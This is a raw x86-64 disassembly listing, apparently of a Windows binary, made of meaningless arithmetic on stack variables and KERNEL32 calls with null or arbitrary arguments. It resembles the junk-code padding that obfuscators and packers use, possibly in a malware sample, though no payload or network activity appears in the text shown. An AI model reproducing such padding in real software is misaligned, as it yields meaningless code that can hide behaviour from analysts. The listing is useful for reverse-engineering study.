mov rcx, qword [rsp + 0xc038]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x63b8], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [rsp + 0xc268]
movzx eax, word [rax]
mov word [rsp + 0x1f50], ax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x137c]
sub ecx, edx
cmp eax, ecx
je 0x140014bc2
movzx eax, word [rsp + 0xa5c]
movzx ecx, word [rsp + 0x1f20]
add eax, ecx
mov word [rsp + 0xfdc], ax
movzx eax, word [rsp + 0xfdc]
movzx ecx, word [rsp + 0xa5c]
xor eax, ecx
mov word [rsp + 0x1f38], ax
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx eax, ax
mov dword [rsp + 0x62d4], eax
mov rax, qword [rsp + 0x9ae8]
mov rcx, qword [rsp + 0xba40]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0b0], rax
mov r9, qword [rsp + 0xc2c0]
mov r8d, 0x8d
mov edx, 0x51
mov ecx, 0x69
call qword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
mov dword [rsp + 0x639c], eax
movsx eax, byte [rsp + 0x375]
movsx ecx, byte [rsp + 0x376]
shl eax, cl
mov byte [rsp + 0x1d7], al
jmp 0x140014db4
mov rax, qword [rsp + 0xbeb8]
movzx ecx, al
mov rax, qword [rsp + 0xa148]
shr rax, cl
mov rcx, qword [rsp + 0xc210]
mov rdx, qword [rsp + 0xc008]
mov rcx, qword [rcx]
or rcx, rdx
cmp rax, rcx
jae 0x140014c0d
mov rcx, qword [rsp + 0xc2a0]
call qword [sym.imp.KERNEL32.dll_CancelIo]
mov dword [rsp + 0x63bc], eax
jmp 0x140014db4
movzx ecx, word [rsp + 0x1f34]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f08], ax
mov eax, dword [rsp + 0x6380]
mov ecx, dword [rsp + 0x6254]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x62a4], eax
mov eax, dword [rsp + 0x5728]
movzx ecx, al
mov eax, dword [rsp + 0x62d0]
sar eax, cl
mov ecx, dword [rsp + 0x62cc]
mov edx, dword [rsp + 0x62d4]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x140014cee
mov rax, qword [rsp + 0xa148]
mov rcx, qword [rsp + 0xc0d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc008], rax
mov rdx, qword [rsp + 0xc260]
mov rcx, qword [rsp + 0xc2c8]
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x62e0], eax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1f1c], ax
mov r9, qword [rsp + 0xc0d8]
movzx r8d, byte [rsp + 0x376]
movzx edx, byte [rsp + 0x30b]
mov ecx, dword [rsp + 0x5ed0]
call fcn.140197b30
jmp 0x140014db4
mov rax, qword [rsp + 0xc130]
mov rcx, qword [rsp + 0xc0b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb0d8]
mov rdx, qword [rsp + 0x9ae8]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x140014d24
jmp 0x140014db4
mov rax, qword [rsp + 0xc0b0]
mov rcx, qword [rsp + 0xc218]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba40]
mov rdx, qword [rsp + 0xb910]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jne 0x140014d74
movzx eax, word [rsp + 0xfdc]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1f3c], ax
jmp 0x140014db4
movzx eax, byte [rsp + 0x374]
movzx ecx, byte [rsp + 0x30b]
sar eax, cl
movzx ecx, byte [rsp + 0x253]
movzx edx, byte [str.5qKr]
add ecx, edx
cmp eax, ecx
jne 0x140014db4
mov eax, dword [rsp + 0x6328]
movzx ecx, al
mov eax, dword [rsp + 0x6254]
shr eax, cl
mov dword [0x1401c8a18], eax
jmp 0x140014e2e
mov eax, dword [rsp + 0x5728]
mov dword [rsp + 0x63c0], eax
cmp dword [rsp + 0x63c0], 0xd67a6e6
je 0x140014dd3
jmp 0x140014df2
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f0c]
shl eax, cl
mov word [rsp + 0xa5c], ax
jmp 0x140014e2e
mov rax, qword [rsp + 0xc0b0]
mov rcx, qword [rsp + 0xc088]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1d8], rax
mov rax, qword [rsp + 0xc130]
mov rcx, qword [rsp + 0xc1d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb910], rax
movzx eax, byte [rsp + 0x253]
movzx ecx, byte [str.5qKr]
add eax, ecx
movzx ecx, byte [rsp + 0x374]
movzx edx, byte [rsp + 0x30b]
add ecx, edx
cmp eax, ecx
jge 0x140014eda
lea rdx, [rsp + 0xc2a8]
mov rcx, qword [rsp + 0xc250]
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov dword [rsp + 0x6368], eax
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xc1a0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc0d8], rax
lea rdx, [rsp + 0x1f50]
mov rcx, qword [rsp + 0xc2a0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x63c4], eax
mov r9, qword [rsp + 0xc1a0]
movzx r8d, byte [rsp + 0x1d7]
movzx edx, byte [str.5qKr]
mov ecx, dword [rsp + 0x6380]
call fcn.140197b30
jmp 0x140015150
mov rax, qword [rsp + 0xc0d8]
imul rax, qword [section..data]
mov rcx, qword [rsp + 0xc210]
mov rdx, qword [rsp + 0xc008]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jae 0x140015033
lea rcx, [rsp + 0x1fc18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov dword [rsp + 0x63c8], 0x8ec1
movsx eax, word [rsp + 0x1d04]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
and eax, ecx
movsx ecx, word [rsp + 0x137c]
mov rdx, qword [rsp + 0xc1c0]
movsx edx, word [rdx]
xor ecx, edx
cmp eax, ecx
jge 0x140014fb8
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
mov dword [rsp + 0x63cc], eax
cmp dword [rsp + 0x63cc], 0x484
je 0x140014f71
jmp 0x140014f9d
mov edx, dword [rsp + 0x63d0]
mov rcx, qword [rsp + 0xc1f0]
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
mov dword [rsp + 0x63d4], eax
lea rcx, [rsp + 0xc0e8]
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
jmp 0x140014fb6
movsx eax, byte [rsp + 0x1d7]
movsx ecx, byte [rsp + 0x375]
sub eax, ecx
mov byte [rsp + 0x376], al
jmp 0x14001502e
mov eax, dword [rsp + 0x62d0]
mov ecx, dword [rsp + 0x62cc]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x62d4]
mov edx, dword [rsp + 0x6398]
or edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140014fff
mov rdx, qword [rsp + 0xc148]
mov rcx, qword [rsp + 0xc1e8]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov dword [rsp + 0x5728], eax
jmp 0x14001502e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
movzx eax, byte [rsp + 0x374]
movzx ecx, byte [rsp + 0x30b]
add eax, ecx
mov byte [rsp + 0x26d], al
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
jmp 0x140015150
mov eax, dword [rsp + 0x6328]
movzx ecx, al
mov eax, dword [rsp + 0x62a4]
shr eax, cl
mov ecx, dword [rsp + 0x6348]
mov edx, dword [rsp + 0x62f4]
or edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x1400150d0
lea rdx, [rsp + 0x29f60]
mov rcx, qword [rsp + 0xc250]
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov dword [rsp + 0x63d8], eax
mov eax, dword [rsp + 0x62cc]
mov ecx, dword [rsp + 0x6398]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5728], eax
mov eax, dword [rsp + 0x5ed0]
movzx ecx, al
mov eax, dword [0x1401c8a18]
shr eax, cl
mov dword [rsp + 0x62f4], eax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f1c]
or eax, ecx
mov rcx, qword [rsp + 0xc1c0]
mov word [rcx], ax
jmp 0x140015150
mov eax, dword [rsp + 0x5ed0]
movzx ecx, al
mov eax, dword [rsp + 0x62f4]
shl eax, cl
mov ecx, dword [rsp + 0x6380]
mov edx, dword [rsp + 0x62a4]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140015150
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f1c]
shl eax, cl
mov word [rsp + 0x1d04], ax
movzx eax, word [rsp + 0x1f20]
movzx ecx, word [rsp + 0xa5c]
and eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f44]
xor eax, ecx
mov word [rsp + 0xa5c], ax
movsx eax, byte [0x1401c8a12]
movsx ecx, byte [rsp + 0x375]
sub eax, ecx
mov byte [rsp + 0x376], al
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xc1a0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc0d8], rax
mov eax, dword [rsp + 0x62a4]
mov ecx, dword [0x1401c8a18]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6380], eax
movsx eax, word [rsp + 0x137c]
movsx ecx, word [rsp + 0x1f1c]
shl eax, cl
mov word [rsp + 0x1f50], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa5c]
sar eax, cl
mov word [rsp + 0x1f14], ax
movsx eax, byte [rsp + 0x376]
movsx ecx, byte [rsp + 0x1d7]
sub eax, ecx
mov byte [0x1401c8a12], al
mov rax, qword [rsp + 0xc130]
mov rcx, qword [rsp + 0xc0b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0d8], rax
mov rcx, qword [rsp + 0xc040]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62b0], eax
mov rax, qword [rsp + 0xb910]
mov rcx, qword [rsp + 0xba40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0d8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6394], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0xb910]
mov rcx, qword [rsp + 0xc0b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1d8], rax
movzx ecx, word [rsp + 0x1f04]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f4c], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f20], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc2d0], rax
mov eax, dword [rsp + 0x62cc]
mov dword [rsp + 0x6398], eax
mov rcx, qword [rsp + 0xc290]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62b0], eax
movzx eax, byte [rsp + 0x30b]
movzx ecx, byte [rsp + 0x253]
or eax, ecx
mov byte [rsp + 0x374], al
mov eax, dword [rsp + 0x6380]
movzx ecx, al
mov eax, dword [rsp + 0x6254]
shr eax, cl
mov dword [rsp + 0x5ed0], eax
lea rcx, [rsp + 0x1fca8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
movsx eax, byte [rsp + 0x376]
movsx ecx, byte [rsp + 0x375]
xor eax, ecx
mov byte [rsp + 0x1d7], al
mov rcx, qword [rsp + 0xc290]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc008]
and rcx, rax
mov rax, rcx
mov qword [section..data], rax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d04]
shl eax, cl
mov word [rsp + 0x137c], ax
movsx eax, word [rsp + 0x1d04]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f50], ax
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62b0], eax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f14]
sub eax, ecx
mov word [rsp + 0x1f38], ax
mov rax, qword [rsp + 0xc1d8]
movzx ecx, al
mov rax, qword [rsp + 0xc118]
shl rax, cl
mov qword [rsp + 0xc218], rax
movsx eax, byte [0x1401c8a12]
movsx ecx, byte [rsp + 0x375]
sar eax, cl
mov byte [rsp + 0x1d7], al
lea rcx, [rsp + 0x1fd08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, [rsp + 0x1fc48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x6290]
add eax, 0xba
mov dword [rsp + 0x6290], eax
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xbeb8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc008], rax
mov rcx, qword [rsp + 0xc040]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov eax, dword [rsp + 0x63c4]
mov ecx, dword [rsp + 0x6348]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6254], eax
movsx eax, word [rsp + 0x137c]
movsx ecx, word [rsp + 0x1f50]
add eax, ecx
mov word [rsp + 0x1d04], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
movsx eax, byte [rsp + 0x375]
movsx ecx, byte [rsp + 0x1d7]
add eax, ecx
mov byte [0x1401c8a12], al
mov rax, qword [rsp + 0xc0b0]
mov rcx, qword [rsp + 0xc118]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xba40], rax
lea rcx, str.GKduVmre_DTPkq86SET9q.SHgN6
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f4c], ax
lea rdx, [rsp + 0x25ff0]
mov rcx, qword [rsp + 0xc1d0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x62b0], eax
cmp dword [rsp + 0x6290], 0x11e0b
jbe 0x140015150
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f20], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov eax, dword [rsp + 0x62cc]
mov ecx, dword [rsp + 0x6398]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5728], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6394], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
mov dword [rsp + 0x63dc], eax
cmp dword [rsp + 0x63dc], 0
je 0x140015638
cmp dword [rsp + 0x63dc], 0x3bd
je 0x140015615
jmp 0x14019655f
mov rax, qword [rsp + 0xa148]
movzx ecx, al
mov rax, qword [rsp + 0xc1a0]
shr rax, cl
mov qword [rsp + 0xc008], rax
jmp 0x14019655f
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov eax, dword [rsp + 0x63c4]
mov dword [rsp + 0x63e0], eax
cmp dword [rsp + 0x63e0], 0x3589
je 0x14001566f
cmp dword [rsp + 0x63e0], 0xdd83
je 0x14001577c
jmp 0x14001584a
mov r9d, 0x8a
mov r8, qword [rsp + 0xc2d8]
mov edx, SHDoDragDrop
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov dword [rsp + 0x62cc], eax
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x137c]
or eax, ecx
movsx ecx, word [rsp + 0x1d04]
mov dword [rsp + 0x63e4], ecx
mov rdx, qword [rsp + 0xc2b8]
movsx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x63e4]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x140015729
movsx eax, byte [rsp + 0x376]
movsx ecx, byte [0x1401c8a12]
sar eax, cl
mov byte [rsp + 0x1d7], al
mov eax, dword [rsp + 0x6348]
movzx ecx, al
mov eax, dword [rsp + 0x63c4]
shl eax, cl
mov dword [rsp + 0x6380], eax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1d04], ax
jmp 0x140015777
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0x1f44]
movzx edx, word [rsp + 0xfdc]
sub ecx, edx
cmp eax, ecx
jg 0x140015777
movzx eax, word [rsp + 0xfdc]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
jmp 0x14001584a
mov dword [rsp + 0x20], 0xf8
mov r9, qword [rsp + 0xc1e8]
mov r8d, 0x5c
mov rdx, qword [rsp + 0xc058]
mov ecx, 0x5c
call qword [sym.imp.KERNEL32.dll_FoldStringW]
mov dword [rsp + 0x62d4], eax
lea rax, [rsp + 0xba40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x62d0]
mov r8d, ILSaveToStream
lea rdx, [rsp + 0xc170]
mov rcx, qword [rsp + 0xc2e0]
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov dword [rsp + 0x6370], eax
lea rdx, [rsp + 0xc1d8]
lea rcx, [rsp + 0x6374]
call qword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
mov dword [rsp + 0x6340], eax
lea r8, [rsp + 0xc100]
mov edx, reloc.SHELL32.dll_SHGetNewLinkInfoW
mov rcx, qword [rsp + 0xc1e8]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov dword [rsp + 0x6370], eax
mov rcx, qword [rsp + 0xc260]
call qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
mov dword [rsp + 0x63e8], eax
mov ecx, 0x52
call qword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [rsp + 0x6370], eax
mov rax, qword [rsp + 0xc130]
mov qword [rsp + 0xc2e8], rax
movzx ecx, word [rsp + 0x1f40]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f2c], ax
lea rcx, [rsp + 0x1fc48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc2e8]
mov rcx, qword [rsp + 0xb910]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc218], rax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x137c]
xor eax, ecx
mov word [rsp + 0x1d04], ax
movzx eax, word [rsp + 0x1f14]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xfdc], ax
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [rsp + 0x1f1c]
shl eax, cl
mov rcx, qword [rsp + 0xc1c0]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0xbeb8]
mov rcx, qword [rsp + 0xc210]
mov qword [rsp + 0xc2f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc2f0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xa148], rax
lea rcx, [rsp + 0x1fd38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0xa5c]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc1c8]
mov word [rcx], ax
mov eax, dword [rsp + 0x63c8]
sub eax, 0xa0
mov dword [rsp + 0x63c8], eax
mov r9d, 2
lea r8, [rsp + 0xc1e0]
mov rdx, qword [rsp + 0xc190]
mov rcx, qword [rsp + 0xc1d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x632c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rdx, [rsp + 0x25f48]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x62b4], eax
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x63ec], eax
movzx ecx, word [rsp + 0x1f10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f08], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x63b8], eax
mov rax, qword [rsp + 0xc0b0]
mov rcx, qword [rsp + 0xc118]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc218], rax
movsx eax, word [rsp + 0x1d04]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c8a14], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f38], ax
movzx eax, byte [rsp + 0x30b]
movzx ecx, byte [rsp + 0x26d]
or eax, ecx
mov byte [rsp + 0x374], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov eax, dword [rsp + 0x62d4]
movzx ecx, al
mov eax, dword [rsp + 0x6398]
sar eax, cl
mov dword [rsp + 0x5728], eax
lea rcx, [rsp + 0x1fca8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc218]
movzx ecx, al
mov rax, qword [rsp + 0xb0d8]
shl rax, cl
mov qword [rsp + 0xc2e8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x62b8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc2f8], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
movsx eax, byte [rsp + 0x376]
movsx ecx, byte [rsp + 0x375]
add eax, ecx
mov byte [rsp + 0x1d7], al
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc2b8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xa148]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc0d8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6360], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6258], eax
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [0x1401c8a14]
and eax, ecx
mov rcx, qword [rsp + 0xc1c0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc1c8]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rcx, qword [rsp + 0xc040]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x637c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0xc0b0]
movzx ecx, al
mov rax, qword [rsp + 0xc2e8]
shl rax, cl
mov qword [rsp + 0xc118], rax
lea rcx, [rsp + 0x1fd68]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, 2
lea r8, [rsp + 0xc1e0]
mov rdx, qword [rsp + 0xc1e0]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x63ec], eax
cmp dword [rsp + 0x63c8], 0x6801
jae 0x14001585a
movzx ecx, word [rsp + 0x1f40]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f18], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x63f0], eax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1f38], ax
movzx eax, word [rsp + 0xfdc]
mov dword [rsp + 0x63f4], eax
cmp dword [rsp + 0x63f4], 0x135
je 0x140015e23
cmp dword [rsp + 0x63f4], 0x817
je 0x140015cf2
jmp 0x140015e42
mov rcx, qword [rsp + 0xc238]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [rsp + 0x5ed0], eax
movzx eax, byte [rsp + 0x1d7]
mov byte [rsp + 0x63f8], al
cmp byte [rsp + 0x63f8], 0x4e
je 0x140015e04
cmp byte [rsp + 0x63f8], 0x56
je 0x140015d33
jmp 0x140015e21
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x137c], ax
mov rax, qword [rsp + 0xc2e8]
mov qword [rsp + 0xc300], rax
movabs rax, 0x7a997964fe650b
cmp qword [rsp + 0xc300], rax
je 0x140015d79
jmp 0x140015da3
mov rax, qword [rsp + 0xc210]
mov r9, qword [rax]
movzx r8d, byte [rsp + 0x376]
movzx edx, byte [rsp + 0x30b]
mov ecx, dword [rsp + 0x63c4]
call fcn.140197b30
jmp 0x140015de4
lea rdx, [rsp + 0xc308]
mov rcx, qword [rsp + 0xc260]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov dword [rsp + 0x63ac], eax
mov r8d, 0x59
mov rdx, qword [rsp + 0xc110]
mov rcx, qword [rsp + 0xc1e8]
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
mov qword [rsp + 0xc310], rax
mov rax, qword [rsp + 0xc0b0]
mov rcx, qword [rsp + 0xc088]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xba40], rax
jmp 0x140015e21
lea rdx, [rsp + 0x29f60]
mov rcx, qword [rsp + 0xc1f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
mov dword [rsp + 0x633c], eax
jmp 0x140015e42
lea r8, [rsp + 0xc170]
xor edx, edx
mov rcx, qword [rsp + 0xc250]
call qword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
mov dword [rsp + 0x63fc], eax
mov eax, dword [rsp + 0x6348]
mov dword [rsp + 0x6400], eax
